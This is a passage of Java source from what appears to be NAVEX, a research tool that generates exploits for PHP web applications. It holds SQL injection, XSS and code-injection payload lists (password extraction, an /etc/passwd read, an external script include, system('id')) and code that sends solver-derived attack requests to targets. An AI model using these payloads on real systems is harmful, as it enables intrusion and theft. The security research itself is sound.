Web Applications" 6 | * 7 | */ 8 | package navex.solver; 9 | 10 | 11 | 12 | 13 | public class AttackStrings { 14 | 15 | 16 | public final static String[] SQL_ATTACK_STRINGS_SINGLE_QUOTES = { 17 | "1' OR ''='", 18 | "1\' AND non_existant_table = \'1 --", 19 | "1' OR \'1\'=\'1--", 20 | "1\' OR 1=1--", 21 | "1' UNION SELECT 1, version() limit 1,1 AND \'1\' = \'1", 22 | "1\' and 1=1 union select null,table_name,null from information_schema.tables limit 28,1-- -", 23 | "1\' and 1=1 union select null,column_name,null from information_schema.columns where table_name=\'foundtablename\' LIMIT 0,1-- -", 24 | "1\' and 1=1 union select null,password,null from users limit 1,1-- -", 25 | "(1)and(1)=(1)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)", 26 | "-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*", 27 | "(0)' union(select(0),group_concat(table_name),(0)from(information_schema.tables))#", 28 | "(0)' union(select(0),group_concat(column_name),(0)from(information_schema.columns))#", 29 | "(0)' union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#", 30 | "(0)' union(select(0),database(),(0))#", 31 | "(0)' union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#", 32 | "(0)' union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#", 33 | "(0)' union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#", 34 | "(0)' union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#" 35 | 36 | 37 | }; 38 | public final static String[] SQL_ATTACK_STRINGS_DOUBLE_QUOTES = { 39 | "1\\\" OR \\\"\\\"=\\\"", 40 | "1\\\" AND non_existant_table = \\\"1 --", 41 | "1\\\" OR \\\"1\\\"=\\\"1--", 42 | "1\\\" UNION SELECT 1, version() limit 1,1 AND \\\"1\\\" = \\\"1", 43 | "1\\\" and 1=1 union select null,table_name,null from information_schema.tables limit 28,1-- -", 44 | "1\\\" and 1=1 union select null,column_name,null from information_schema.columns where table_name=\\\"foundtablename\\\" LIMIT 0,1-- -", 45 | "1\\\" and 1=1 union select null,password,null from users limit 1,1-- -", 46 | "-1\\\"/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*", 47 | "(0)\\\" union(select(0),group_concat(table_name),(0)from(information_schema.tables))#", 48 | "(0)\\\" union(select(0),group_concat(column_name),(0)from(information_schema.columns))#", 49 | "(0)\\\" union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#", 50 | "(0)\\\" union(select(0),database(),(0))#", 51 | "(0)\\\" union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#", 52 | "(0)\\\" union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#", 53 | "(0)\\\" union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#", 54 | "(0)\\\" union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#" 55 | 56 | }; 57 | public final static String[] SQL_ATTACK_STRINGS_NO_QUOTES = { 58 | "1 OR 1=1", 59 | "1 OR 1=1--", 60 | "1 OR 1=1 LIMIT x,1-- -", 61 | "1 and 1=1 union select null,table_name,null from information_schema.tables limit 28,1-- -", 62 | "1 and 1=0 union select null,column_name,null from information_schema.columns where table_name=\'foundtablename\' LIMIT 0,1-- -", 63 | "1 and 1=0 union select null,password,null from users limit 1,1-- -", 64 | "(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)", 65 | "-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*", 66 | 67 | "(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#", 68 | "(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#", 69 | "(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#", 70 | "(0)union(select(0),database(),(0))#", 71 | "(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#", 72 | "(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#", 73 | "(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#", 74 | "(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#", 75 | "(coalesce(length(load_file(0x2F6574632F706173737764)),1))", 76 | "(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)", 77 | "1&& 1=1;%00", 78 | "chr(0xbf) chr(0x27) OR 1 = 1 /*" 79 | }; 80 | public final static String[] XSS_ATTACK_STRINGS_SINGLE_QUOTES = { 81 | "", 82 | "javascript:alert(1)", 83 | "JaVaScRiPt:alert(1)", 84 | "JaVaScRiPt:alert("XSS")", 85 | "javascript:alert('XSS')", 86 | "javascript:alert('XSS')", 87 | "javascript:alert('XSS')", 88 | "jav ascript:alert(1);", 89 | "jav ascript:alert(1);", 90 | "jav ascript:alert(1);", 91 | "' ONLOAD='alert(1)", 92 | "' ", 93 | "' ", 94 | "' ", 95 | "' ", 96 | "' PT SRC=\\\'http://xss.ha.ckers.org/a.js\\\'>", 97 | "%26%2339%3B-alert(1)-%26%2339%3B", 98 | "' onmouseover='alert(1)" 99 | }; 100 | public final static String[] XSS_ATTACK_STRINGS_DOUBLE_QUOTES = { 101 | "", 102 | "javascript:alert(1)", 103 | "JaVaScRiPt:alert(1)", 104 | "JaVaScRiPt:alert("XSS")", 105 | "\"javascript:alert('XSS')\"", 106 | "\"javascript:alert('XSS')\"", 107 | "\"javascript:alert('XSS')\"", 108 | "jav ascript:alert(1);", 109 | "jav ascript:alert(1);", 110 | "jav ascript:alert(1);", 111 | "\" ONLOAD=\"alert(1)", 112 | "\" ", 113 | "\" ", 114 | "\" ", 115 | "\" ", 116 | "\" PT SRC=\\\"http://xss.ha.ckers.org/a.js\\\">", 117 | "\" onmouseover=\"alert(1)" 118 | 119 | }; 120 | public final static String[] XSS_ATTACK_STRINGS_NO_QUOTES = { 121 | "", 122 | "javascript:alert(1)", 123 | "JaVaScRiPt:alert(1)", 124 | "JaVaScRiPt:alert("XSS")", 125 | "javascript:alert('XSS')", 126 | "javascript:alert('XSS')", 127 | "javascript:alert('XSS')", 128 | "jav ascript:alert(1);", 129 | "jav ascript:alert(1);", 130 | "jav ascript:alert(1);", 131 | " ONLOAD=alert(1)", 132 | "-alert(1)" 133 | }; 134 | /*public final static String[] CODE_ATTACK_STRINGS_SINGLE_QUOTES = { 135 | 136 | }; 137 | public final static String[] CODE_ATTACK_STRINGS_DOUBLE_QUOTES = { 138 | 139 | }; 140 | */ 141 | public final static String[] CODE_ATTACK_STRINGS_NO_QUOTES = { 142 | "1; phpinfo()", 143 | "1; system('id')", 144 | "1; system('echo /etc/passwd')", 145 | "1; ls" 146 | }; 147 | //To be added 148 | public final static String[] COMMAND_ATTACK_STRINGS_NO_QUOTES = { 149 | 150 | }; 151 | //To be added 152 | public final static String[] FILE_ATTACK_STRINGS_NO_QUOTES = { 153 | 154 | }; 155 | 156 | public static String[] getAttackStrinsList(String nameOfList) { 157 | switch (nameOfList){ 158 | case "COMMAND_ATTACK_STRINGS_NO_QUOTES": 159 | return AttackStrings.COMMAND_ATTACK_STRINGS_NO_QUOTES; 160 | 161 | case "CODE_ATTACK_STRINGS_NO_QUOTES": 162 | return AttackStrings.CODE_ATTACK_STRINGS_NO_QUOTES; 163 | case "FILE_ATTACK_STRINGS_NO_QUOTES": 164 | return AttackStrings.FILE_ATTACK_STRINGS_NO_QUOTES; 165 | case "SQL_ATTACK_STRINGS_NO_QUOTES": 166 | return AttackStrings.SQL_ATTACK_STRINGS_NO_QUOTES; 167 | case "SQL_ATTACK_STRINGS_DOUBLE_QUOTES": 168 | return AttackStrings.SQL_ATTACK_STRINGS_DOUBLE_QUOTES; 169 | case "SQL_ATTACK_STRINGS_SINGLE_QUOTES": 170 | return AttackStrings.SQL_ATTACK_STRINGS_SINGLE_QUOTES; 171 | case "XSS_ATTACK_STRINGS_NO_QUOTES": 172 | return AttackStrings.XSS_ATTACK_STRINGS_NO_QUOTES; 173 | case "XSS_ATTACK_STRINGS_DOUBLE_QUOTES": 174 | return AttackStrings.XSS_ATTACK_STRINGS_DOUBLE_QUOTES; 175 | case "XSS_ATTACK_STRINGS_SINGLE_QUOTES": 176 | return AttackStrings.XSS_ATTACK_STRINGS_SINGLE_QUOTES; 177 | default: 178 | return null; 179 | } 180 | 181 | } 182 | 183 | 184 | 185 | } -------------------------------------------------------------------------------- /src/solver/DynamicSolver.java: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | */ 4 | package navex.solver; 5 | 6 | import java.util.HashSet; 7 | import java.util.List; 8 | 9 | import edu.uci.ics.crawler4j.util.IO; 10 | import navex.formula.Formula; 11 | 12 | /** 13 | * @author Abeer Alhuzali 14 | * this class is used to build formulas from the AST in the Code Property Graph 15 | * input is the list of mappings generated a traversal that searches execution traces. 16 | * Formula : In file: :login.php, line: 67, id: 60, var: _GET__mode, 17 | * map: [mode:_GET__mode, username:_POST__username, passwd:_POST__passwd] ) 18 | 19 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 20 | */ 21 | public class DynamicSolver { 22 | 23 | 24 | //Edit this path: This is specific to Navex's evaluation 25 | //this will extract the TAC formulas generated by a traversal that searches execution traces. 26 | 27 | public static HashSet getServerFormula () { 28 | 29 | HashSet gf = IO.readGroovyFile("/home/user/navex/formulaMapping.txt"); 30 | 31 | return gf; 32 | 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/solver/SolverModel.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * 4 | * This class reads/extracts information from a Z3 model 5 | * 6 | * e.g of a Z3 model: 7 | * SAT (or UNSAT or UNKNOWN) 8 | * var : value 9 | * var2 : value2 10 | * 11 | * e.g: 12 | * * v-ok 13 | ************************ 14 | >> SAT 15 | ------------------------ 16 | x : string -> "af" 17 | ************************ 18 | &0.0188589096069& 19 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 20 | * 21 | */ 22 | package navex.solver; 23 | 24 | import java.io.BufferedReader; 25 | import java.io.File; 26 | import java.io.FileReader; 27 | import java.io.IOException; 28 | import java.io.UnsupportedEncodingException; 29 | import java.net.URI; 30 | import java.net.URISyntaxException; 31 | import java.net.URLEncoder; 32 | import java.nio.file.Files; 33 | import java.nio.file.Paths; 34 | import java.util.ArrayList; 35 | import java.util.HashMap; 36 | import java.util.List; 37 | import java.util.Map.Entry; 38 | import java.util.stream.Collectors; 39 | 40 | import org.apache.http.HttpEntity; 41 | import org.apache.http.HttpResponse; 42 | import org.apache.http.NameValuePair; 43 | import org.apache.http.client.ClientProtocolException; 44 | import org.apache.http.client.entity.UrlEncodedFormEntity; 45 | import org.apache.http.client.methods.CloseableHttpResponse; 46 | import org.apache.http.client.methods.HttpGet; 47 | import org.apache.http.client.methods.HttpPost; 48 | import org.apache.http.client.utils.URIBuilder; 49 | import org.apache.http.impl.client.CloseableHttpClient; 50 | import org.apache.http.impl.client.HttpClients; 51 | import org.apache.http.message.BasicNameValuePair; 52 | import org.apache.http.util.EntityUtils; 53 | import org.slf4j.Logger; 54 | import org.slf4j.LoggerFactory; 55 | 56 | import edu.uci.ics.crawler4j.fetcher.PageFetcher; 57 | import edu.uci.ics.crawler4j.util.*; 58 | 59 | public class SolverModel { 60 | 61 | 62 | 63 | private static final Logger logger = LoggerFactory.getLogger(SolverModel.class); 64 | 65 | public enum solTypes{ 66 | SAT, UNSAT, UNKNOWN; 67 | } 68 | 69 | String url; 70 | public String getUrl() { 71 | return url; 72 | } 73 | 74 | public void setUrl(String url) { 75 | this.url = url; 76 | } 77 | 78 | String solution; 79 | 80 | 81 | public String getSolution() { 82 | return solution; 83 | } 84 | 85 | public void setSolution(String solution) { 86 | this.solution = solution; 87 | } 88 | 89 | HashMap varValue; 90 | private HashMap traceVarValue; 91 | private List nvps; 92 | 93 | public void setNvps(List nvps2) { 94 | this.nvps = nvps2; 95 | } 96 | 97 | public List getNvps() { 98 | return nvps; 99 | } 100 | 101 | public HashMap getTraceVarValue() { 102 | return traceVarValue; 103 | } 104 | 105 | public HashMap getVarValue() { 106 | return varValue; 107 | } 108 | 109 | public void setVarValue(HashMap varValue) { 110 | this.varValue = varValue; 111 | } 112 | 113 | public void addVarValue(String var, String value) { 114 | if (varValue == null) 115 | varValue = new HashMap (); 116 | this.varValue.put(var, value) ; 117 | } 118 | 119 | 120 | public SolverModel() { 121 | this.solution = null; 122 | this.varValue = new HashMap (); 123 | this.traceVarValue = new HashMap (); 124 | this.nvps= new ArrayList (); 125 | this.getMap = new HashMap (); 126 | this.url = null; 127 | 128 | } 129 | 130 | public List main(String[] args, PageFetcher pageFetcher) throws ClientProtocolException, IOException, URISyntaxException{ 131 | 132 | String file = args[0]; 133 | String method = args[1]; 134 | String action = args[2]; 135 | String modelType = args[3]; //either trace or form or static 136 | 137 | List ret = null; 138 | 139 | System.out.println("The model for the file "+file); 140 | 141 | this.processSolverModel(file); 142 | 143 | if (modelType.equals("trace") || modelType.equals("static") ) 144 | traceModelPreprocessing(); 145 | 146 | 147 | ret= this.genHttpRequestFromModel(method, action, modelType, pageFetcher); 148 | 149 | return ret; 150 | } 151 | 152 | @Override 153 | public String toString() { 154 | return "SolverModel [solution=" + solution + ", varValue=" + varValue + "]"; 155 | } 156 | 157 | public void processSolverModel(String file){ 158 | logger.debug("Reading the file :"+ file); 159 | 160 | try { 161 | FileReader fr = new FileReader(file); 162 | 163 | BufferedReader bis = new BufferedReader(fr); 164 | String line = null;//bis.readLine(); 165 | while((line=bis.readLine()) != null) 166 | { 167 | System.out.println("line is :"+line); 168 | line= line.trim(); 169 | if (line.startsWith(">> ")){ 170 | if (line.equals(">> SAT") || 171 | line.trim().equals(">> UNKNOWN") || 172 | line.trim().equals(">> UNSAT") ) 173 | { 174 | this.setSolution(line.split(">>")[1].trim()); 175 | System.out.println("the model Solution is "+this.getSolution()); 176 | 177 | } 178 | } 179 | 180 | 181 | if (this.getSolution() != null && this.getSolution().equals("SAT")){ 182 | 183 | String[] tuples = line.split(" : "); 184 | if (tuples.length > 1) 185 | { 186 | 187 | if (tuples[0].startsWith("p1b")) 188 | continue; 189 | String value = tuples[1].split("->")[1].trim(); 190 | if (value.trim().startsWith("\"") && value.trim().endsWith("\"")) 191 | { 192 | value= value.substring(1,value.length()-1 ); 193 | } 194 | 195 | this.addVarValue(tuples[0].trim(), value); 196 | System.out.println("the model var-value pair is <"+tuples[0].trim()+","+ value+">"); 197 | 198 | } 199 | } 200 | } 201 | try{ 202 | fr.close(); 203 | bis.close(); 204 | } 205 | catch(Exception e) 206 | { 207 | logger.debug( " Exception while closing teh file " + file); 208 | } 209 | } catch (IOException e1) { 210 | e1.printStackTrace(); 211 | } 212 | 213 | System.out.println("the model solution is ::::"+this.getSolution()); 214 | 215 | } 216 | public void traceModelPreprocessing(){ 217 | for (Entry map : this.getVarValue().entrySet()){ 218 | if (map.getKey().startsWith("$_GET") || map.getKey().startsWith("$_POST") 219 | || map.getKey().startsWith("$_SESSION") || map.getKey().startsWith("$_REQUEST") || 220 | map.getKey().startsWith("$HTTP_GET") || map.getKey().startsWith("$HTTP_POST")) 221 | { 222 | this.addTraceVarValue(map.getKey(), map.getValue()); 223 | } 224 | } 225 | } 226 | 227 | public void addTraceVarValue(String key, String value) { 228 | if (traceVarValue == null) 229 | traceVarValue = new HashMap (); 230 | this.traceVarValue.put(key, value) ; 231 | 232 | } 233 | 234 | public List genHttpRequestFromModel(String method, String action, 235 | String modelType, PageFetcher pageFetcher) throws ClientProtocolException, IOException, URISyntaxException{ 236 | if (this.getSolution() == null){ 237 | System.out.println("The model does not have a solution"); 238 | return null; 239 | } 240 | if (!this.getSolution().equals("SAT")) 241 | { 242 | System.out.println("The model is not SAT"); 243 | return null; 244 | } 245 | if (this.getVarValue().isEmpty() ){ 246 | System.out.println("The model is Empty !!!!"); 247 | return null; 248 | } 249 | if (method.equalsIgnoreCase("post")){ 250 | System.out.println("preparing for a post request to "+action); 251 | return postHttpRequest(action, modelType, pageFetcher); 252 | } 253 | else if (method.equalsIgnoreCase("get")){ 254 | System.out.println("preparing for a get request to "+action); 255 | return getHttpRequest(action, modelType, pageFetcher); 256 | } 257 | else if (method.equalsIgnoreCase("request")){ 258 | //requestHttpRequest(action); 259 | } 260 | else if (modelType == "static" && method == ""){ 261 | List nvps = new ArrayList (); 262 | 263 | HashMap getMap = new HashMap(); 264 | 265 | for (Entry map : this.getTraceVarValue().entrySet()){ 266 | if (map.getKey().contains("$_GET")){ 267 | String key= map.getKey().replace("$_GET_", "").replace("]", ""); 268 | getMap.put(key,map.getValue()); 269 | } 270 | else if (map.getKey().contains("$_POST")){ 271 | String key= map.getKey().replace("$_POST_", "").replace("]", ""); 272 | //postMap.put(key,map.getValue()); 273 | nvps.add(new BasicNameValuePair(key, map.getValue())); 274 | 275 | } 276 | else if (map.getKey().contains("$HTTP_GET_VARS")){ 277 | String key= map.getKey().replace("$HTTP_GET_VARS_", "").replace("]", ""); 278 | getMap.put(key,map.getValue()); 279 | } 280 | else if (map.getKey().contains("$HTTP_POST_VARS")){ 281 | String key= map.getKey().replace("$HTTP_POST_VARS_", "").replace("]", ""); 282 | nvps.add(new BasicNameValuePair(key, map.getValue())); 283 | 284 | } 285 | } 286 | 287 | this.setNvps(nvps); 288 | String newUrl = staticGetMap(action, getMap); 289 | this.setGetMap(getMap); 290 | this.setUrl(newUrl); 291 | return nvps; 292 | 293 | } 294 | return null; 295 | 296 | 297 | 298 | } 299 | HashMap getMap; 300 | public HashMap getGetMap() { 301 | return getMap; 302 | } 303 | 304 | private void setGetMap(HashMap getMap) { 305 | this.getMap = getMap; 306 | } 307 | 308 | private String staticGetMap(String action , HashMap getMap) { 309 | //Augment the action with the get params that we got for the trace 310 | String actionAug = ""; 311 | for (Entry map : getMap.entrySet()){ 312 | try { 313 | actionAug+=map.getKey()+"="+URLEncoder.encode(map.getValue(), "UTF-8")+"&"; 314 | } catch (UnsupportedEncodingException e) { 315 | e.printStackTrace(); 316 | } 317 | } 318 | if(actionAug.lastIndexOf("&") != -1) 319 | {actionAug= actionAug.substring(0,actionAug.lastIndexOf("&") ); 320 | 321 | action = action.concat("?").concat(actionAug); 322 | } 323 | 324 | 325 | 326 | return action; 327 | 328 | } 329 | 330 | 331 | 332 | private void requestHttpRequest(String action) { 333 | // TODO Auto-generated method stub 334 | 335 | } 336 | 337 | private List getHttpRequest(String action, String modelType, PageFetcher pageFetcher) throws ClientProtocolException, IOException, URISyntaxException { 338 | List nvps = new ArrayList (); 339 | HashMap getMap = new HashMap(); 340 | 341 | 342 | String data=""; 343 | String responseBody =""; 344 | URIBuilder u = new URIBuilder(); 345 | u.setScheme("http"); 346 | action= action.replace("http://", ""); 347 | u.setHost(action); 348 | if(modelType.equals("form")){ 349 | for (Entry map : this.getVarValue().entrySet()){ 350 | u.setParameter(map.getKey(), map.getValue()); 351 | } 352 | } 353 | else { 354 | for (Entry map : this.getTraceVarValue().entrySet()){ 355 | if (map.getKey().contains("$_GET")){ 356 | String key= map.getKey().replace("$_GET[", "").replace("]", ""); 357 | getMap.put(key,map.getValue()); 358 | } 359 | } 360 | String actionAug = ""; 361 | for (Entry map : getMap.entrySet()){ 362 | u.setParameter(map.getKey(), map.getValue()); 363 | } 364 | } 365 | URI uri = u.build(); 366 | try{ 367 | logger.debug("The uri is : "+uri.toString()); 368 | 369 | //if (uri.startsWith(" http://http//")) 370 | //httpGet. 371 | HttpGet httpGet = new HttpGet(uri); 372 | logger.debug("The uri scheme is : "+uri.getScheme()); 373 | logger.debug("The get request is : "+httpGet.getURI()); 374 | CloseableHttpResponse response2 = pageFetcher.httpClient.execute(httpGet, pageFetcher.getConfig().getHttpClientContext()); 375 | 376 | try { 377 | logger.debug("Status Code : "+response2.getStatusLine()); 378 | HttpEntity entity2 = response2.getEntity(); 379 | // do something useful with the response body 380 | // and ensure it is fully consumed 381 | responseBody = EntityUtils.toString(entity2); 382 | EntityUtils.consume(entity2); 383 | } finally { 384 | response2.close(); 385 | } 386 | } finally { 387 | // httpclient.close(); 388 | } 389 | 390 | return null; 391 | 392 | } 393 | 394 | private List postHttpRequest(String action, String modelType, PageFetcher pageFetcher) throws ClientProtocolException, IOException { 395 | List nvps = new ArrayList (); 396 | HashMap postMap = new HashMap(); 397 | HashMap getMap = new HashMap(); 398 | 399 | String responseBody=""; 400 | if(modelType.equals("form")) 401 | for (Entry map : this.getVarValue().entrySet()){ 402 | nvps.add(new BasicNameValuePair(map.getKey(), map.getValue())); 403 | } 404 | else { 405 | for (Entry map : this.getTraceVarValue().entrySet()){ 406 | if (map.getKey().contains("$_GET")){ 407 | String key= map.getKey().replace("$_GET[", "").replace("]", ""); 408 | getMap.put(key,map.getValue()); 409 | } 410 | else if (map.getKey().contains("$_POST")){ 411 | String key= map.getKey().replace("$_POST[", "").replace("]", ""); 412 | postMap.put(key,map.getValue()); 413 | } 414 | } 415 | for (Entry map : postMap.entrySet()){ 416 | nvps.add(new BasicNameValuePair(map.getKey(), map.getValue())); 417 | } 418 | //Augment the action with the get params we got for the trace 419 | String actionAug = ""; 420 | for (Entry map : getMap.entrySet()){ 421 | actionAug+=map.getKey()+"="+URLEncoder.encode(map.getValue(), "UTF-8")+"&"; 422 | } 423 | if (actionAug.lastIndexOf("&") != -1) 424 | actionAug= actionAug.substring(0,actionAug.lastIndexOf("&") ); 425 | if (action.contains("?")) 426 | action = action.concat("&").concat(actionAug); 427 | else 428 | action = action.concat("?").concat(actionAug); 429 | } 430 | 431 | try{ 432 | HttpPost httpPost = new HttpPost(action); 433 | 434 | httpPost.setEntity(new UrlEncodedFormEntity(nvps)); 435 | 436 | logger.debug("The request is : "+httpPost.toString()); 437 | CloseableHttpResponse response2 = pageFetcher.httpClient.execute(httpPost, pageFetcher.getConfig().getHttpClientContext()); 438 | 439 | try { 440 | logger.debug("Status Code : "+response2.getStatusLine()); 441 | HttpEntity entity2 = response2.getEntity(); 442 | // do something useful with the response body 443 | // and ensure it is fully consumed 444 | responseBody = EntityUtils.toString(entity2); 445 | EntityUtils.consume(entity2); 446 | } finally { 447 | response2.close(); 448 | } 449 | } finally { 450 | //httpclient.close(); 451 | } 452 | return nvps; 453 | } 454 | 455 | 456 | 457 | } 458 | -------------------------------------------------------------------------------- /src/solver/StaticSolver.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * This class reads/extracts information from the set of TAC formulas generated by the Enhanced CPG traversals (in the paper algorithm 1) 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.solver; 8 | 9 | import java.io.IOException; 10 | import java.net.URISyntaxException; 11 | import java.util.ArrayList; 12 | import java.util.HashMap; 13 | import java.util.HashSet; 14 | import java.util.List; 15 | import java.util.Map; 16 | import java.util.Scanner; 17 | 18 | import org.apache.http.NameValuePair; 19 | import org.apache.http.client.ClientProtocolException; 20 | import org.slf4j.Logger; 21 | import org.slf4j.LoggerFactory; 22 | 23 | import navex.Main; 24 | import edu.uci.ics.crawler4j.util.IO; 25 | import navex.formula.StaticFormulaInfo; 26 | 27 | 28 | public class StaticSolver { 29 | 30 | private static final Logger logger = LoggerFactory.getLogger(Main.class); 31 | 32 | 33 | public static void main(String[] args) { 34 | 35 | /* 36 | * creating spec files 37 | * 38 | * 39 | */ 40 | 41 | 42 | Scanner scanner = new Scanner(System.in); 43 | System.out.println("\nPlease enter the attack type (sql, xss, code, os-command, file-inc, or ear): "); 44 | String attackType = scanner.next().trim(); 45 | 46 | 47 | System.out.println("\nPlease enter the static analysis results file name (and full path) : "); 48 | String results_File = scanner.next().trim(); 49 | 50 | 51 | long startTime = System.currentTimeMillis(); 52 | 53 | HashSet st = new HashSet(); 54 | 55 | logger.debug(" ....Starting to generate Spec files for the list of static analysis formulas ...."); 56 | 57 | switch (attackType){ 58 | case "sql": 59 | case "xss": 60 | case "code": //code execution 61 | case "os-command": //command injection 62 | case "file-inc": //file inclusion 63 | st = IO.readStaticAnalysisResultFile(results_File, attackType); 64 | break; 65 | case "ear": 66 | st = IO.readStaticAnalysisResultFileEar(results_File, attackType); 67 | break; 68 | } 69 | mainHelper(st, attackType); 70 | 71 | 72 | long analysisEndTime = System.currentTimeMillis(); 73 | long analysisDiffTime = (analysisEndTime - startTime); 74 | 75 | System.out.println("=====TOTAL: resolving inclusion + generating Spec Files + solving them====="+analysisDiffTime); 76 | 77 | 78 | 79 | } 80 | 81 | public static void mainHelper(HashSet st, String attackType){ 82 | 83 | HashMap> incMap = IO.processIncludeMap(); 84 | HashSet hs = new HashSet(); 85 | 86 | for (StaticFormulaInfo s : st){ 87 | System.out.println("\n "+ s.toString()); 88 | 89 | String part1 = s.getFile().replace("]", ""); 90 | 91 | String cFile = "staticAnalysisSpec"+part1+"__"+s.getLineno()+"__"+s.getNode_id()+"__"+s.getSinkType()+"__"+s.getUnique_id(); 92 | String get = null; ArrayList candidateUrls= null; 93 | SolverModel model= null; 94 | List varval =null; 95 | 96 | if (!attackType.contains("ear")) 97 | { 98 | model = getSolver(s); 99 | 100 | 101 | processModel(model , incMap, get, candidateUrls, varval); 102 | } 103 | else 104 | candidateUrls = resolveIncludeMapAndSolverModel(model, incMap, part1); 105 | 106 | 107 | /* 108 | * Now we have to store this information in a file to feed it to 109 | * the traversal after performing the dynamic analysis. 110 | */ 111 | String str = CreateIncludeMapResolutionFile(model, get, candidateUrls, varval, incMap, cFile); 112 | 113 | 114 | boolean added= hs.add(str); 115 | //Edit the paths as needed .. 116 | if (added && attackType.contains("sql")) 117 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results.txt", str, true); 118 | else if (added && attackType.contains("xss")){ 119 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results_xss.txt", str, true); 120 | } 121 | else if (added && attackType.contains("code")){ 122 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results_code.txt", str, true); 123 | } 124 | else if (added && attackType.contains("os-command")){ 125 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results_os-command.txt", str, true); 126 | } 127 | else if (added && attackType.contains("file-inc")){ 128 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results_file-inc.txt", str, true); 129 | } 130 | else if (added && attackType.contains("ear")){ 131 | IO.writeToFile("/home/user/navex/results/include_map_resolution_results_ear.txt", str, true); 132 | } 133 | 134 | System.out.println(">>>>>>>>>>>>>>>>DONE >>>>>>>>>>>>>>>>>"); 135 | 136 | } 137 | 138 | } 139 | //Edit paths to files as need 140 | private static String CreateIncludeMapResolutionFile(SolverModel model, String get, ArrayList candidateUrls, 141 | List varval, HashMap> incMap, String cFile) { 142 | 143 | 144 | String str= ""; 145 | 146 | if (model != null){ 147 | if ( get != null || model.getGetMap().size() > 0 || model.getNvps().size() > 0){ 148 | 149 | for (String src :findSrcUrl(cFile)) 150 | { 151 | System.out.println("source url is "+src); 152 | if (incMap != null ){ 153 | str="FILE:"+cFile+"\n"; 154 | str+= "SRC_URL:"+src+"\n"; 155 | } 156 | str+="DEST_URL: "; 157 | if (candidateUrls != null && candidateUrls.size() > 0 ){ 158 | 159 | for (String u : candidateUrls) 160 | { str+=u+" "; 161 | System.out.println("u "+u); 162 | 163 | } 164 | 165 | 166 | } 167 | else if ( (candidateUrls == null || candidateUrls.size() == 0) && model.getUrl() != null) { 168 | System.out.println("model.getUrl "+model.getUrl()); 169 | str+= model.getUrl(); 170 | } 171 | 172 | if (varval != null){ 173 | str+="\nNameValuePair: "; 174 | for (NameValuePair p :varval){ 175 | str+=p.toString()+" "; 176 | } 177 | } 178 | str+="\nget: "; 179 | if (get != null) 180 | str+=get; 181 | 182 | } 183 | } 184 | } 185 | 186 | //in case of ear vulnerabilities 187 | else { 188 | for (String src :findSrcUrl(cFile)) 189 | { String localhost= "http://localhost/"; 190 | 191 | System.out.println("source url is "+src); 192 | if (incMap != null ){ 193 | str="FILE:"+cFile+"\n"; 194 | str+= "SRC_URL:"+src+"\n"; 195 | int index = src.indexOf("http://192.168.0.123"); 196 | if (index != -1) 197 | localhost = src.substring(0,index+("http://192.168.0.123/".length()) ); 198 | } 199 | str+="DEST_URL: "; 200 | if (candidateUrls != null && candidateUrls.size() > 0 ){ 201 | 202 | for (String u : candidateUrls) 203 | { str+=u+" "; 204 | System.out.println("u "+u); 205 | 206 | } 207 | } 208 | else if ( (candidateUrls == null || candidateUrls.size() == 0) ) { 209 | { 210 | String url = cFile.replace("staticAnalysisSpec/var/www/html/", 211 | localhost); 212 | url= url.substring(0, url.indexOf("__")); 213 | str+=url; 214 | } 215 | 216 | } 217 | 218 | 219 | str+="\nNameValuePair: "; 220 | 221 | str+="\nget: "; 222 | 223 | } 224 | } 225 | return str; 226 | } 227 | /* 228 | * once we have a model + include map, 229 | * we filter all SAT models and resolve the url from the 230 | * include map 231 | * output: list of destination urls with their NameValuePairs 232 | */ 233 | 234 | private static void processModel(SolverModel model, HashMap> incMap 235 | ,String get , ArrayList 